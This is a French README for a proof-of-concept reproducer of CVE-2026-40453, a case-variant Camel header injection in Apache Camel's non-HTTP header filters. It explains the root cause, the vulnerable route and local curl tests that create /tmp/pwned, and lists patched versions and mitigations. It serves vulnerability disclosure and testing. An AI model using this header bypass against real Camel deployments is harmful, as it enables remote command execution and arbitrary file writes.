
Reproducteur pour CVE-2026-40453 : injection d'en-tête Camel par variante de casse dans Apache Camel (correction incomplète de CVE-2025-27636)
Ce projet démontre CVE-2026-40453 — un correctif incomplet pour CVE-2025-27636. Le correctif de 2025 a ajouté setLowerCase(true) à HttpHeaderFilterStrategy afin que les noms d'en-têtes avec variante de casse (par ex. CAmelExecCommandExecutable) soient filtrés aux côtés du nom canonique CamelExecCommandExecutable. Le même appel n'a pas été appliqué à cinq implémentations non-HTTP de HeaderFilterStrategy (camel-jms, camel-sjms, camel-coap, camel-google-pubsub), qui filtrent de manière sensible à la casse alors que l'Exchange Camel stocke les en-têtes dans une map insensible à la casse. Un attaquant peut donc injecter un en-tête de contrôle avec variante de casse qui contourne le filtre mais est toujours résolu par les composants en aval (, , ...) sous son nom canonique → / écriture arbitraire de fichier.
Camel*camel-execcamel-fileCe reproducteur démontre le contournement avec camel-coap (autonome, sans broker externe) ; la même faille affecte les stratégies JMS/SJMS/Google-Pubsub.
Avis de sécurité : https://camel.apache.org/security/CVE-2026-40453.html
| Propriété | Valeur |
|---|---|
| Composants | camel-jms, camel-sjms, camel-coap, camel-google-pubsub (ce PoC utilise camel-coap) |
| Classes affectées | JmsHeaderFilterStrategy, ClassicJmsHeaderFilterStrategy, SjmsHeaderFilterStrategy, CoAPHeaderFilterStrategy, GooglePubsubHeaderFilterStrategy |
| Cause racine | Filtrage sensible à la casse avec startsWith("Camel"/"camel") (setLowerCase(true) manquant) par rapport à une map d'en-têtes Exchange insensible à la casse |
| CWE | CWE-20 (validation d'entrée incorrecte) — injection d'en-tête de message |
| Impact | RCE / écriture arbitraire de fichier via les producteurs pilotés par en-têtes |
| Versions affectées | De 3.0.0 à 4.14.6 exclu, de 4.15.0 à 4.18.2 exclu, de 4.19.0 à 4.20.0 exclu |
| Versions corrigées | 4.14.6, 4.18.2, 4.20.0 |
| JIRA | CAMEL-23313 (complète le correctif de CVE-2025-27636) |
| Rapporteur | Saroj Khadka |
CoAPHeaderFilterStrategy (version affectée) filtre Camel* en respectant la casse :
public CoAPHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
// MISSING: setLowerCase(true);
}
Lorsqu'une requête CoAP arrive, CamelCoapResource.handleRequest() mappe chaque paramètre de requête URI dans les en-têtes In de l'Exchange, contrôlé par strategy.applyFilterToExternalHeaders(name, value, exchange) :
CamelExecCommandExecutable — startsWith("Camel") est vrai → filtré.CAmelExecCommandExecutable — startsWith("Camel") est faux (CAm ≠ Cam) → non filtré.La map des en-têtes de l'Exchange est insensible à la casse ; l'en-tête avec variante de casse est donc résolu plus tard par le producteur exec sous son nom canonique CamelExecCommandExecutable, remplaçant la commande.
from("coap://0.0.0.0:5683/run")
.to("exec:echo?args=hello")
.convertBodyTo(String.class);
mvn clean package -DskipTests
docker compose up -d --build
curl http://localhost:8080/exploit/normal # -> hello
curl http://localhost:8080/exploit/canonical
# injects CamelExecCommandExecutable / CamelExecCommandArgs
# -> /tmp/pwned-canonical created: false (the filter strips canonical Camel* headers)
curl http://localhost:8080/exploit/attack
# injects CAmelExecCommandExecutable / CAmelExecCommandArgs (capital A)
# -> /tmp/pwned created: true (case-variant bypasses the case-sensitive filter)
docker exec cve-2026-40453 ls -la /tmp/pwned
docker compose down
Mettez à niveau vers 4.14.6 / 4.18.2 / 4.20.0. Le correctif (CAMEL-23313) ajoute setLowerCase(true) aux cinq implémentations non-HTTP de HeaderFilterStrategy afin que les noms Camel* avec variante de casse soient également filtrés.
En attendant la mise à niveau :
HeaderFilterStrategy personnalisé avec setLowerCase(true), ou removeHeaders avec un motif insensible à la casse.CVE-2026-40453/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── CoapExecRoute.java # victim: from(coap).to(exec)
│ └── ExploitController.java # /normal, /canonical (filtered), /attack (case-variant bypass)
└── resources/
└── application.properties
Ce reproducteur est fourni uniquement à des fins de recherche en sécurité et de tests autorisés, pour une vulnérabilité publiquement divulguée et corrigée. Ne l'utilisez pas contre des systèmes sans autorisation explicite.